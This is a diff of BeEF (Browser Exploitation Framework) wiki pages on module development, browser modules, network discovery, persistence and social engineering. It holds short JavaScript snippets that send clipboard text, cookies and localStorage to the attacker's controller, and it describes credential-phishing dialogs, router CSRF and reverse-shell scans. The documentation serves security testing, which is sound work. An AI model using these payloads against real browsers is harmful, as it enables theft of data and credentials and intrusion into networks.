## <a name="javascriptpayload"/>Javascript payload
## Javascript Payload (command.js)
The last mandatory file is the JavaScript payload **command.js**. The JavaScript payload should be included in a function called by **beef.execute**. Except that you can do anything you want here.
The last mandatory file is `command.js` which contains the JavaScript payload. The payload should be included in a function called by **beef.execute**. Except that you can do anything you want here.
The following command should be used to return information to the BeEF controller :
The following command should be used to return information to the BeEF controller:
```erb
beef.net.send("<%= @command_url %>", <%= @command_id %>, "data");
```
The BeEF JavaScript API already includes a lot of interesting features and embed jQuery. You can see details on this API [[here|Javascript-API]]. If you think that some functions of your module may improve the global API, look the [[relevant section|Javascript-API#wiki-improve]].
The BeEF JavaScript API already includes a lot of interesting features and embedded jQuery (see [[here|Javascript-API]]).
Here is an interesting example taken from [clipboard_theft](https://github.com/beefproject/beef/blob/master/modules/host/clipboard_theft/command.js) :
Here is an interesting example taken from the [Clipboard Theft](https://github.com/beefproject/beef/blob/master/modules/host/clipboard_theft/command.js) module:
```Javascript
```javascript
beef.execute(function() {
if (clipboardData.getData("Text") !== null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text"));
@@ -163,11 +182,11 @@ beef.execute(function() {
});
```
## Other useful examples
## Other Useful Examples
### Bind an external object to a given URI
### Bind an External Object to a Specified URI
You can bind an external object to a defined URI in order to use it from the hooked browser :
You can bind an external object to a defined URI in order to use it from the hooked browser:
```ruby
class Your_module < BeEF::Core::Command
@@ -181,9 +200,9 @@ class Your_module < BeEF::Core::Command
end
```
### Bind a raw HTTP response to a given URI
### Bind a Raw HTTP Response to a Specified URI
You can bind a raw HTTP response (headers and body) to a given URI in order to use it from the hooked browser :
You can bind a raw HTTP response (headers and body) to a defined URI in order to use it from the hooked browser:
```ruby
def pre_send
@@ -191,9 +210,9 @@ You can bind a raw HTTP response (headers and body) to a given URI in order to u
end
```
### Use BeEF configuration information
### Use BeEF Configuration Information
You can use information of the BeEF configuration in your module.rb :
You can use information from the BeEF configuration in your `module.rb`:
```ruby
class Your_module < BeEF::Core::Command
@@ -207,15 +226,17 @@ class Your_module < BeEF::Core::Command
end
````
## What now ?
## What Now?
If you think that your module can be useful to other people, join the BeEF community on GitHub, fork the beef repository, upload your module and create a new issue for proposing it. We like people with new ideas :).
If you think that your module can be useful to other people, join the BeEF community on GitHub, fork the beef repository, upload your module and create a new issue for proposing it.
We like people with new ideas! :)
## References
* [[Reference Page on config.yaml file|Command-Module-Config]]
* [[Reference Page on format type for module.rb file|Form-Data-Types]]
* [`config.yaml`](https://github.com/beefproject/beef/wiki/Command-Module-Config)
* [`module.rb`](https://github.com/beefproject/beef/wiki/Form-Data-Types)
***
[[Previous|BeEF-Console]] | [[Next|WebRTC-Extension]]
[[BeEF Console|BeEF-Console]] | [[WebRTC Extension|WebRTC-Extension]]
Module:-Alert-Dialog.md
+3 -3
@@ -1,11 +1,11 @@
##Summary
## Summary
* **Objective**: Sends an alert dialog to the hooked browser.
* **Date**: ???
* **Authors**: wade, bm
* **Browsers**: All
* [[Code|https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/alert_dialog]]
##Internal Working
## Internal Working
Really basic, here is the whole code :
```javascript
@@ -22,7 +22,7 @@ beef.net.send("<%= @command_url %>", <%= @command_id %>, "text=<%== format_multi
[[Images/module-alert-dialog2.png|align=center]]
##Feedback
## Feedback
* So basic, that it should work on any browser any version.
Module:-Clippy.md
+2 -2
@@ -1,11 +1,11 @@
##Summary
## Summary
* **Objective**: Brings up a clippy image and asks the user to do stuff.
* **Authors**: vt, denden
* **Browsers**: ALL
* [Code](https://github.com/beefproject/beef/tree/master/modules/social_engineering/clippy)
##Internal Working
## Internal Working
Even if [the code](https://github.com/beefproject/beef/blob/master/modules/social_engineering/clippy/command.js) is a bit long, clippy only uses default javascript features. It first shows clippy with an helper text and wait for user interaction.
Module:-Confirm-Close-Tab.md
+1 -1
@@ -5,7 +5,7 @@
* **Parameters** : No parameters needed
* [Code](https://github.com/beefproject/beef/tree/master/modules/persistence/confirm_close_tab)
##Internal Working
## Internal Working
This modules uses the confirm function to prompt the user and the automated window.onbeforeunload to ask it several times :
Module:-Create-Pop-Under.md
+3 -3
@@ -1,4 +1,4 @@
##Summary
## Summary
* **Description**: This module creates a new discrete pop under window with the BeEF hook included. Another browser node will be added to the hooked browser tree.
* **Authors**: ethicalhack3r
@@ -6,7 +6,7 @@
* **Parameters** : No parameters needed
* [Code](https://github.com/beefproject/beef/tree/master/modules/persistence/popunder_window)
##Internal Working
## Internal Working
Basic and efficient :
@@ -17,6 +17,6 @@ Basic and efficient :
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
```
##Feedback
## Feedback
* It works
Module:-Deface-Web-Page.md
+3 -3
@@ -1,11 +1,11 @@
##Summary
## Summary
* **Objective**: Overwrite the page, title and shortcut icon on the hooked page.
* **Date**: ???
* **Authors**: antisnatchor
* **Browsers**: All (User will be notified)
* [[Code|https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/deface_web_page]]
##Internal Working
## Internal Working
This command modify the HTML, the title and the favicon of the page with the parameters given :
@@ -15,4 +15,4 @@ This command modify the HTML, the title and the favicon of the page with the par
beef.browser.changeFavicon("<%= @deface_favicon %>");
```
##Feedback
## Feedback
Module:-Detect-Firebug.md
+1 -4
@@ -6,7 +6,7 @@
* **Browser**: Firefox
* [code](https://github.com/beefproject/beef/tree/master/modules/browser/detect_firebug)
##Internal working
## Internal Working
This module test if _window.console.firebug_ or _window.console.exception_ objects exists to detect enabled firefbug module:
@@ -18,6 +18,3 @@ beef.execute(function() {
});
```
##Feedback
##References
Module:-Detect-Popup-Blocker.md
-1
@@ -27,4 +27,3 @@ Uses the **beef.browser.popup.blocker_enbabled** function ([here](https://github
* **IE6** seems to block popup
* **Firefox 15** seems to allow popup (without extension)
## References
Module:-Detect-Visited-URL.md
+3 -3
@@ -5,7 +5,7 @@
* **Browsers**: IE6:7 / Firefox 3 / Chrome 1:5 / Safari 3 / Opera 1:10
* [Code](https://github.com/beefproject/beef/tree/master/modules/browser/get_visited_urls)
## Internal working
## Internal Working
This module uses the **beef.browser.hasVisited** function of the BeEF API ([here](https://github.com/beefproject/beef/blob/master/core/main/client/browser.js)] :
```javascript
@@ -43,7 +43,7 @@ hasVisited: function(urls) {
```
Basically, it loads a URL and look if the style has been automatically changed by the browser because the user already reached that URL.
##Feedback
## Feedback
##References
## References
* http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
Module:-Fake-Flash-Update.md
+2 -2
@@ -1,4 +1,4 @@
##Summary
## Summary
* **Description**:
* Prompts the user to install an update to Adobe Flash Player.The file to be delivered could be a Chrome or Firefox extension.
@@ -16,7 +16,7 @@
* **Payload** : Choose the payload (Chrome or Firefox)
* [Code](https://github.com/beefproject/beef/tree/master/modules/social_engineering/fake_flash_update)
##Internal Working
## Internal Working
This module basically add a fake message in the center of the screen and redirect to the browser extension when the user clicks on it :
Module:-Get-Cookie.md
+3 -3
@@ -1,11 +1,11 @@
##Summary
## Summary
* **Objective**: This module will retrieve the session cookie from the current page.
* **Date**: ???
* **Authors**: bcoles
* **Browsers**: All
* [[Code|https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/get_cookie]]
##Internal Working
## Internal Working
This module just gather the cookies for this page using the document.cookie function :
@@ -15,4 +15,4 @@ beef.execute(function() {
});
```
##Feedback
## Feedback
Module:-Get-Internal-IP-WebRTC.md
+4 -4
@@ -1,11 +1,11 @@
##Summary
## Summary
* **Objective**: Get the internal IP address using a nice WebRTC hack
* **Date**: Septembre 2013
* **Authors**: xntrick, @natevw
* **Browsers**: Firefox, Chrome (all versions)
* [[Code|https://github.com/beefproject/beef/tree/master/modules/host/get_internal_ip_webrtc]]
##Internal Working
## Internal Working
Use a fun RTC Hack to get the IP address:
@@ -60,10 +60,10 @@ var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConne
```
##Feedback
## Feedback
* **Firefox**: Working on 28-
##References
## References
* http://net.ipcalf.com/
Module:-Get-Local-Storage.md
+3 -3
@@ -1,11 +1,11 @@
##Summary
## Summary
* **Objective**: Extracts data from the HTML5 localStorage object..
* **Date**: ???
* **Authors**: bcoles
* **Browsers**: Internet Explorer 8+, Firefox 4+, opera 11+, Chrome 4+, Safari 4+
* [[Code|https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/get_local_storage]]
##Internal Working
## Internal Working
This module just gather the localStorage of the page by using window['localStorage'] :
@@ -13,4 +13,4 @@ This module just gather the localStorage of the page by using window['localStora
beef.net.send("<%= @command_url %>", <%= @command_id %>, "localStorage="+JSON.stringify(window['localStorage']));
```
##Feedback
## Feedback
Module:-Get-Page-HTML.md
+3 -3
@@ -1,11 +1,11 @@
##Summary
## Summary
* **Objective**: This module will retrieve the HTML from the current page.
* **Date**: ???
* **Authors**: bcoles
* **Browsers**: All
* [[Code|https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/get_page_html]]
##Internal Working
## Internal Working
This module returns the HTML of the header and body of the hooked web page :
@@ -22,4 +22,4 @@ try {
}
```
##Feedback
## Feedback
Module:-Get-Page-Links.md
+3 -3
@@ -1,12 +1,12 @@
##Summary
## Summary
* **Objective**: This module will retrieve HREFs from the target page.
* **Date**: ???
* **Authors**: vo
* **Browsers**: All
* [[Code|https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/get_page_links]]
##Internal Working
## Internal Working
This module uses the [[_beef.dom.getLinks_ method|https://github.com/beefproject/beef/blob/master/core/main/client/dom.js]] to gather all links in the hooked web page. This method uses the **document.links** function to gather this information.
##Feedback
## Feedback
Module:-Get-Session-Storage.md
+3 -3
@@ -1,11 +1,11 @@
##Summary
## Summary
* **Objective**: Extracts data from the HTML5 sessionStorage object.
* **Date**: ???
* **Authors**: bcoles
* **Browsers**: IE 8+, Firefox 4? Opera 11+, Safari 4+
* [[Code|https://github.com/beefproject/beef/tree/master/modules/browser/hooked_domain/get_session_storage]]
##Internal Working
## Internal Working
This module just gather the session Storage for this page using the window['sessionStorage'] function :
@@ -17,4 +17,4 @@ beef.execute(function() {
});
```
##Feedback
## Feedback
Module:-Get-Visited-Domains.md
+4 -4
@@ -1,4 +1,4 @@
##Summary
## Summary
* **Objective**: This module will retrieve rapid history extraction through non-destructive cache timing.Based on work done at http://lcamtuf.coredump.cx/cachetime/
* **Date**: March 2012
@@ -6,14 +6,14 @@
* **Browsers**: Firefox / IE
* [Code](https://github.com/beefproject/beef/tree/master/modules/browser/get_visited_domains)
##Internal Working
## Internal Working
This module uses a trick discovered by Michal Zalewski in 2012 to detect if the browser have visited a given domain by abusing the browser's cache : the module load a javascript (for Firefox) or a picture (for IE) and look the response time. If the response time is very short, the file was probably already in browser's cache and it is thus not the first visit of the domain.
The module embeds a list of Javascript and Image file for different domains (see [here](https://github.com/beefproject/beef/blob/master/modules/browser/get_visited_domains/command.js). As this list was done by Michal Zalewski in early 2012, it may have changed and thus rendering this module less accurate.
##Feedback
## Feedback
##References
## References
* http://lcamtuf.coredump.cx/cachetime/
Module:-Play-Sound.md
+2 -2
@@ -5,11 +5,11 @@
* **Browsers**: All
* [Code](https://github.com/beefproject/beef/tree/master/modules/browser/play_sound)
## Internal working
## Internal Working
This module add an audio tag linked to the file given in parameter.
See the [javascript code](https://github.com/beefproject/beef/blob/master/modules/browser/play_sound/command.js)
##Feedback
## Feedback
Module:-Port-Scanner.md
+1 -1
@@ -1,4 +1,4 @@
##Summary
## Summary
* **Description**: Scan ports in a given hostname, using WebSockets, CORS and img tags. It uses the three methods to avoid blocked ports or Same Origin Policy."
* **Authors**: javier.marcos
Module:-Pretty-Theft.md
+3 -2
@@ -1,4 +1,5 @@
##Summary
## Summary
* **Objective**: Asks the user for their username and password using a floating div.
* **Authors**: pwndizzle, vt, xntrik
* **Browsers**: Safari, Firefox, Chrome, Opera (User is notified)
@@ -8,7 +9,7 @@
* **Custom Generic Logo** : URL of the logo for generic dialog type
* [Code](https://github.com/beefproject/beef/tree/master/modules/social_engineering/pretty_theft)
##Internal Working
## Internal Working
This module will just print a dialog box imitating Facebook or Linked and asking for credentials. Nothing complex here, [the code ](https://github.com/beefproject/beef/blob/master/modules/social_engineering/pretty_theft/command.js) is a bit long due to styles modification but it is not very complex to read.
Module:-Simple-Hijacker.md
+1 -1
@@ -1,4 +1,4 @@
##Summary
## Summary
* **Objective**: Hijack clicks on links to display what you want.
* **Authors**: gallypette
* **Browsers**: All (user notified)
Module:-TabNabbing.md
+2 -2
@@ -1,4 +1,4 @@
##Summary
## Summary
* **Objective**: This module redirects to the specified URL after the tab has been inactive for a specified amount of time.
* **Authors**: bcoles
* **Browsers**: 1ll
@@ -7,7 +7,7 @@
* **Wait** : Time before redirecting (in minutes)
* [Code](https://github.com/beefproject/beef/tree/master/modules/social_engineering/tabnabbing)
##Internal Working
## Internal Working
Internal workig is pretty easy : when the tab loose focus, it starts a timer. When the timer ends the browser is redirected to the given URL :
Module:-Unhook.md
+2 -2
@@ -5,7 +5,7 @@
* **Browsers**: All
* [Code](https://github.com/beefproject/beef/tree/master/modules/browser/unhook)
## Internal working
## Internal Working
This modules does two actions:
* Look for script names hook.js and remove it
@@ -13,4 +13,4 @@ This modules does two actions:
**Warning**: This module will not work if the BeEF hook script has another name (changed in the BeEF configuration).
##Feedback
## Feedback
Module:-Webcam.md
+2 -2
@@ -7,8 +7,8 @@
* **Browsers**: All (User will be warned)
* [Code](https://github.com/beefproject/beef/tree/master/modules/browser/webcam)
## Internal working
## Internal Working
TODO
##Feedback
## Feedback
Module:-browser-fingerprint.md
+3 -4
@@ -1,11 +1,11 @@
##Summary
## Summary
* **Objective**: Fingerprint browser version by checking presence of browser images
* **Date**: Septembre 2011
* **Authors**: bcoles
* **Browsers**: IE, Safari, Firefox
* [[Code|https://github.com/beefproject/beef/tree/master/modules/browser/browser_fingerprinting]]
##Internal Working
## Internal Working
The module include a database of pictures accessible internally by the browser :
@@ -31,9 +31,8 @@ The module load each picture and check whether the load succeeded or failed.
[[Images/information-gathering2.png|align=center]]
##Feedback
## Feedback
* **Firefox 15**: _1+,4+,8+_
* **IE6**: _IE 5-6_
##References
Module:-detect-office.md
+3 -3
@@ -1,4 +1,4 @@
##Summary
## Summary
* **Objective**: Detect MS Office version from ActiveX trick
* **Date**: June 2013
@@ -6,7 +6,7 @@
* **Browsers**: IE
* Code
##Internal Working
## Internal Working
It basically make some tests on the response of activeX objects related to the different MS Office version :
@@ -50,6 +50,6 @@ It basically make some tests on the response of activeX objects related to the d
[[Images/module-detect-office.png|align=center]]
##Feedback
## Feedback
* **IE9**: Works perefectly on I8 with Office 2007 and 2010
Network-Discovery.md
+86 -26
@@ -1,78 +1,130 @@
_With JavaScript hacks, it is possible to launch network attacks through a hooked browser._
## Introduction
## Get Internal IP Address
With JavaScript hacks, it is possible to launch network attacks through a hooked browser.
Two modules exist to retrieve the IP addresses in use by the zombie browser host system. From these IP addresses it becomes possible to imagine the internal network addressing plan and use the other modules.
#### Table of Contents
The [[Get Internal IP (WebRTC)|Module:-Get-Internal-IP-WebRTC]] module for Firefox and Chrome uses WebRTC to retrieve the IP address for each network interface.
* [Get Internal IP Addresses](#get-internal-ip-addresses)
* [Identify LAN Subnets](#identify-lan-subnets)
* [Get HTTP Servers](#get-http-servers)
* [Ping Sweep](#ping-sweep)
* [Cross-Origin Scanner (CORS)](#cross-origin-scanner-cors)
* [Cross-Origin Scanner (Flash)](#cross-origin-scanner-flash)
* [DNS Enumeration](#dns-enumeration)
* [Port Scanning](#port-scanning)
* [Network Fingerprinting](#network-fingerprinting)
* [Remote CSRFs](#remote-csrfs)
* [IRC NAT Pinning](#irc-nat-pinning)
* [Admin UI](#admin-ui)
* [RESTful API](#restful-api)
![Get Internal IP Address WebRTC](https://cloud.githubusercontent.com/assets/434827/5973009/0a055c62-a8b7-11e4-82fd-96e726f8a60a.png)
## Get Internal IP Addresses
The [[Get Internal IP Address (Java)|Module:-Get-Internal-IP-(Java)]] module uses a Java applet to retrieve the IP address. Since Java introduced click-to-play the user must allow the unsigned Java applet to run. Note that modern Java (as of Java 7u51) will outright refuse to execute unsigned Java applets, and will also reject self-signed Java applets unless they're added to the exception list.
Two modules exist to retrieve the IP addresses in use by the zombie browser's host system.
From these IP addresses it becomes possible to imagine the internal network addressing plan and more effectively utilise other BeEF modules.
* The [[Get Internal IP (WebRTC)|Module:-Get-Internal-IP-WebRTC]] module for Firefox and Chrome uses WebRTC to retrieve the IP address for each network interface.
![Get Internal IP Address WebRTC](https://cloud.githubusercontent.com/assets/434827/5973009/0a055c62-a8b7-11e4-82fd-96e726f8a60a.png)
* The [[Get Internal IP Address (Java)|Module:-Get-Internal-IP-(Java)]] module uses a Java applet to retrieve the IP address. Since Java introduced click-to-play the user must allow the unsigned Java applet to run.
* Note that modern Java (as of Java 7u51) will outright refuse to execute unsigned Java applets, and will also reject self-signed Java applets unless they're added to the exception list.
[[Images/module-get-internal-ip.png|align=center]]
## Identify LAN Subnets
The Identify LAN Subnets module uses time-based XHR to determine whether any commonly used LAN IP addresses are in use on the zombie's local area network(s). From these IP addresses, it becomes possible to imagine the internal addressing plan and use the other modules. This module works only with Firefox and Chrome.
The [[Identify LAN Subnets|Module:-Identify-LAN-Subnets]] module uses time-based XHR to determine whether any commonly used LAN IP addresses are in use on the zombie's local area network(s).
From these IP addresses, it becomes possible to imagine the internal addressing plan and more effectively utilise other BeEF modules.
This module works only with Firefox and Chrome.
![Identify LAN Subnets](https://cloud.githubusercontent.com/assets/434827/5973018/2059b59e-a8b7-11e4-9e67-17b7ea0b75bb.png)
## Get HTTP Servers
The Get HTTP Servers module loads favicon images from predictable paths (/favicon.ico, /favicon.png, /images/favicon.ico, /images/favicon.png) on specified IP address(es) to detect web servers on the zombie's local area network(s). From these IP addresses, it becomes possible to imagine the internal addressing plan and use the other modules. This module should be invisible to the user in Internet Explorer and Safari, however with other browsers the user may notice if any of the scanned hosts pop a 401 Authentication Required prompt.
The [[Get HTTP Servers|Module:-Identify-HTTP-Servers]] module loads favicon images from predictable paths (/favicon.ico, /favicon.png, /images/favicon.ico, /images/favicon.png) on specified IP address(es) to detect web servers on the zombie's local area network(s).
From these IP addresses, it becomes possible to imagine the internal addressing plan and more effectively utilise other BeEF modules.
This module should be invisible to the user in Internet Explorer and Safari, however with other browsers the user may notice if any of the scanned hosts pop a 401 Authentication Required prompt.
![Get HTTP Servers](https://cloud.githubusercontent.com/assets/434827/5973022/330d4c78-a8b7-11e4-90e9-89260effd9c8.png)
## Ping Sweep
Then it is possible to launch ping request and identify alive hosts on the network. This modules exists in three versions.
Then it is possible to launch ping request and identify alive hosts on the network. These modules exist in three versions:
The [[Ping Sweep|Module:-Ping-Sweep]] module uses time-based JavaScript XHR requests to identify live hosts. This module works only in Firefox.
* The [[Ping Sweep|Module:-Ping-Sweep]] module uses time-based JavaScript XHR requests to identify live hosts. This module works only in Firefox.
The [[Ping Sweep (FF) module|Module:-Ping-Sweep-(FF)]] uses the Java API directly to send requests and time the response. This module works only in Firefox with Java installed.
* The [[Ping Sweep (FF)|Module:-Ping-Sweep-(FF)]] module uses the Java API directly to send requests and time the response. This module works only in Firefox with Java installed.
The [[Ping Sweep (Java)|Module:-Ping-Sweep-(Java)]] which loads an unsigned Java applet. Since Java introduced click-to-play the user must allow the unsigned Java applet to run. Note that modern Java (as of Java 7u51) will outright refuse to execute unsigned Java applets, and will also reject self-signed Java applets unless they're added to the exception list.
* The [[Ping Sweep (Java)|Module:-Ping-Sweep-(Java)]] module loads an unsigned Java applet. Since Java introduced click-to-play the user must allow the unsigned Java applet to run.
* Note that modern Java (as of Java 7u51) will outright refuse to execute unsigned Java applets, and will also reject self-signed Java applets unless they're added to the exception list.
[[Images/module-ping-sweep1.png|align=center]]
## Cross-Origin Scanner (CORS)
The Cross-Origin Scanner (CORS) module sends CORS requests to a specified IP range and returns the IP address, port, HTTP status code, page title and page contents for each web server identified with a permissive CORS policy. This module should work on all modern browsers which support CORS.
The Cross-Origin Scanner (CORS) module sends CORS requests to a specified IP range and returns the IP address, port, HTTP status code, page title and page contents for each web server identified with a permissive CORS policy.
This module should work on all modern browsers which support CORS.
![Cross-Origin Scanner](https://cloud.githubusercontent.com/assets/434827/5973004/ebd4b0b2-a8b6-11e4-9777-f5e3bb6377b7.png)
## Cross-Origin Scanner (Flash)
The Cross-Origin Scanner (Flash) module sends requests to a specified IP range using Flash and returns the IP address, port, page title and page contents for each web server identified with a permissive flash cross-origin policy. This module works only in Firefox and Chrome with Flash installed.
The Cross-Origin Scanner (Flash) module sends requests to a specified IP range using Flash and returns the IP address, port, page title and page contents for each web server identified with a permissive flash cross-origin policy.
This module works only in Firefox and Chrome with Flash installed.
## DNS Enumeration
By playing with timers, it is possible to detect whether a given hostname exist or not with Firefox and Chrome. In the first case, the request will take longer as the DNS resolution will be done and then the TCP connection will start (and probably fail). In the second case, the DNS request will return an error quickly, thus the browser is able to detect that there is no such DNS entry.
By playing with timers, it is possible to detect whether a given hostname exists or not with Firefox and Chrome:
* In the first case, the request will take longer as the DNS resolution will be done and then the TCP connection will start (and probably fail).
* In the second case, the DNS request will return an error quickly, thus the browser is able to detect that there is no such DNS entry.
See the corresponding [[BeEF module|Module:-DNS-Enumeration]]
See the corresponding [[BeEF module|Module:-DNS-Enumeration]].
## Port Scanning
Now that we know the IP address of the hooked system and several hostnames, it would be interesting to launch port scanning. Happily several researchers have found that it is possible to use the same timing hack to scan ports by loading images into the browser with Firefox and Chrome. This attack was included in the [[Port Scanner|Module:-Port-Scanner]] module.
Now that we know the IP address of the hooked system and several hostnames, it would be interesting to launch port scanning. Several security researchers have found that it is possible to use the same timing hack to scan ports by loading images into the browser with Firefox and Chrome.
This attack was included in the [[Port Scanner|Module:-Port-Scanner]] module.
[[Images/module-port-scanner2.png|align=center]]
## Network Fingerprinting
The [[Network Fingerprinting module|Module:-Fingerprint-Network]] uses URL of default images to fingerprint the devices used on the network. It embedds a list of default pictures for Web servers (apache, IIS) and network devices (Linksys NAS, printers...) and check if one of this picture is available. This module should work in all browsers. The user may notice if any of the scanned hosts pop a 401 Authentication Required prompt.
The [[Network Fingerprinting module|Module:-Fingerprint-Network]] uses the URL of default images to fingerprint the devices used on the network.
It embeds a list of default pictures for Web servers (Apache, IIS) and network devices (Linksys NAS, printers, etc) and checks to see if any of the pictures listed are available.
This module should work in all browsers.
Note that the user may notice if any of the scanned hosts pop a _401 Authentication Required_ prompt.
[[Images/module-network-fingerprint2.png|align=center|width=400px]]
## Remote CSRFs
CSRF is still a vulnerability seldom taken into account by developers while it can have serious impact. BeEF includes a lot of CSRF modules, especially targeting personal routes (Linksys, Dlink...). Happily, we just detected one of those routers when fingerprinting the network during the previous step. Most of CSRF attacks allows modifying the admin password however several can be used to gain a reverse shell or open external ports on the box.
CSRF is still a vulnerability seldom taken into account by developers, especially considering how serious of an impact can be made via it's exploitation.
BeEF includes a lot of CSRF modules, especially targeting personal routes (Linksys, Dlink, etc). We just detected one of those routers when fingerprinting the network during the previous step.
Most CSRF attacks allow for modifying the admin password, however there are several that can be used to gain a reverse shell or open external ports on the box.
You can see the list of CSRF modules in the [[module|BeEF-modules]] page.
## IRC NAT Pinning
By simulating IRC communication from the browser, it is possible to deceive firewall for opening TCP ports. This hack is called [[NAT Pinning|http://samy.pl/natpin/]] and it is included in the BeEF [[IRC NAT Pinning module|Module:-IRC-NAT-Pinning]]. You can find more information and exemple on the [BeEF's blog](http://blog.beefproject.com/2012/07/opening-closed-ports-on-nat-device-and.html).
By simulating IRC communication from the browser, it is possible to deceive the user's firewall into opening TCP ports.
This hack is called [[NAT Pinning|http://samy.pl/natpin/]] and it is included in the BeEF [[IRC NAT Pinning module|Module:-IRC-NAT-Pinning]].
You can find more information and example on the [BeEF's blog](http://blog.beefproject.com/2012/07/opening-closed-ports-on-nat-device-and.html).
## Admin UI
@@ -88,13 +140,21 @@ The Network Map makes use of HTML5 canvas which allows you to save the map as an
### Network Hosts
##### Key
* **C:** Chrome
* **FF:** Firefox
* **S:** Safari
* **IE:** Internet Explorer
##### Discovery
Right-clicking anywhere in the `Network -> Hosts` grid provides a context menu which provides options for host discovery.
![host-discovery](https://cloud.githubusercontent.com/assets/434827/6025988/e49e6dca-ac2a-11e4-909a-18c1de74ac27.png)
The first two menu items (for Chrome and Firefox) attempt to detect the local network IP address ranges:
* [Get Internal IP WebRTC](https://github.com/beefproject/beef/wiki/Module%3A-Get-Internal-IP-webrtc) (C, FF)
* Identify LAN subnets (C, FF)
* [[Get Internal IP (WebRTC)|Module:-Get-Internal-IP-WebRTC]] (C, FF)
* [Identify LAN Subnets](#identify-lan-subnets) (C, FF)
The remaining options perform host discovery on a user-specified IP address range or a predefined list of commonly used LAN IP addresses:
* Discover Routers (S, FF)
@@ -103,6 +163,7 @@ The remaining options perform host discovery on a user-specified IP address rang
* Cross-Origin CORS Scan (IE10+, C, FF, S)
* Cross-Origin Flash Scan (C, FF)
#### Post-Discovery
Identified network hosts are available in the `Network -> Hosts` panel.
@@ -123,12 +184,11 @@ Right-clicking a network service allows you to perform various actions, such as:
* Fingerprint HTTP servers
* Cross-Origin scan host for CORS enabled HTTP servers
* Cross-Origin scan host for Flash cross-origin enabled HTTP servers
* Scan for remote file include (reverse shell)
* Scan for known vulnerable Shell Shock CGIs. (reverse shell)
* Scan for remote file inclusion (reverse shell)
* Scan for known vulnerable Shell Shock CGIs (reverse shell)
![service-scanning](https://cloud.githubusercontent.com/assets/434827/6026013/14d547a2-ac2b-11e4-9cd3-9ce7ad51e7d4.png)
## RESTful API
The Network Extension RESTful API allows retrieval of the identified network hosts and services.
@@ -154,4 +214,4 @@ curl http://127.0.0.1:3000/api/network/service/[id]?token=[token]
***
[[Previous|Social-Engineering]] | [[Next|Metasploit]]
[[Social Engineering|Social-Engineering]] | [[Metasploit|Metasploit]]
Notifications.md
+3 -1
@@ -1,4 +1,4 @@
The Notifications extension offers methods for event notification over various channels, such as Twitter, email, Pushover and Slack.
The notifications extension offers methods for event notification over various channels, such as Twitter, email, Pushover and Slack.
```yaml
beef:
@@ -32,3 +32,5 @@ beef:
channel: "#beef" # Slack channel
username: "notifier" # Username can be anything
```
***
[[Autorun Rule Engine|Autorun Rule Engine]] | [[BeEF Console|BeEF Console]]
Other.md
+1 -1
@@ -1,4 +1,4 @@
## How to help to improve this documentation ?
## How can I help improve this wiki?
This documentation have been firstly reorganized and completed by [Nibbler](https://github.com/Nbblrr) based on the documentation and blog articles made by the whole community. This documentation is not perfect and it would be great for us to have any feedback on it or proposition of improvement.
Persistence.md
+23 -9
@@ -1,23 +1,37 @@
These four modules have been developed to keep browsers hooked.
## Introduction
BeEF has four modules that have been developed to help maintain persistence on hooked browsers.
## Old School : Pop under the browser
#### Table of Contents
[[Old School |Module:-Create-Pop-Under]] will create a pop-up window under the browser which will open an empty BeEF page. Old school but it still works!
* [Old School Module](#old-school-module)
* [Dirty Module](#dirty-module)
* [Stealth Module](#stealth-module)
* [Clean Module](#clean-module)
## Dirty : Ask for Confirmation for Closing the Tab
## Old School Module
The [[Old School|Module:-Create-Pop-Under]] module will create a pop-up window underneath the victim's browser. This window will open an empty BeEF page. An old school technique but it still works!
## Dirty Module
The [[Dirty|Module:-Confirm-Close-Tab]] module will ask the user to confirm that they want to close this tab again and again and again. Dirty!
<p align=center>
[[Images/module-confirm-close-tab1.png|align=center]]
</p>
## Stealth : Redirect Links to Foreground iFrames
## Stealth Module
[[Stealth|Module:-Create-Foreground-iFrame]] will rewrite all the links in the webpage to avoid leaving the current page. Instead, the module will load the target URL in a 100% foreground iFrame. Stealth but the URL still does not change!
The [[Stealth|Module:-Create-Foreground-iFrame]] module will rewrite all the links on the web-page causing them to load the target URL in a 100% foreground iFrame. This means that the victim sees the page they were expecting to be redirected to, but the URL still does not change!
## Clean : Man In The Browser
## Clean Module
[[Clean|Module:-Man-In-The-Browser]] will launch a "man-in-the-browser" hack : the module loaded will handle every click on a new link. For links in the same domain, it will make an AJAX request and load the new page instead of the old one and add the page in the history, there is no difference for the user with a classical load but the browser is still hooked. Due to the Same Origin Policy, it is not possible to have the same behavior on other domain, so in this case, the module will open the link in a new tab.
The [[Clean|Module:-Man-In-The-Browser]] module launches a "man-in-the-browser" hack. It listens for and handles any click on a link.
For links within same domain, [[Clean|Module:-Man-In-The-Browser]] will make an AJAX request and load the new page instead of the old one and then add the page into the browser's history. There will be no visible difference to the victim. The page will load in the typical fashion but the browser is still hooked.
The Same Origin Policy prevents this behaviour on other domains, so in the event that the victim navigates to a domain that is not within the same domain, [[Clean|Module:-Man-In-The-Browser]] will open the requested web-page in a new tab.
***
[[Previous|Xss-Rays]] | [[Next|BeEF-RESTful-API]]
[[XSS Rays|Xss-Rays]] | [[BeEF RESTful API|BeEF-RESTful-API]]
Social-Engineering.md
+42 -24
@@ -1,42 +1,60 @@
When you have hooked a browser, you can modify the whole page and cause different actions (redirection...), so there are a lot of possibilities for social engineering attacks.
## Introduction
# Ask for Credentials
Once BeEF has hooked a browser, it can modify and/or send content directly to the viewport or other open tabs. This functionality allows you to craft and perform sophisticated social engineering attacks.
Simplest attacks are often the most efficient ones, you can simply ask users for their credentials using different modules:
#### Table of Contents
* [[The Pretty Theft|Module:-Pretty-Theft]] module prints a simple message to the user requiring login and password and explaining that the session has timed out.
* [[The Simple Hijacker|Module:-Simple-Hijacker]] module proposes several social engineering templates and prompts the user when they click on a link on the page.
* [Ask for Credentials](#ask-for-credentials)
* [Redirect to Another Page](#redirect-to-another-page)
* [Chrome/Firefox Extensions](#chromefirefox-extensions)
* [Clickjacking](#clickjacking)
## Ask for Credentials
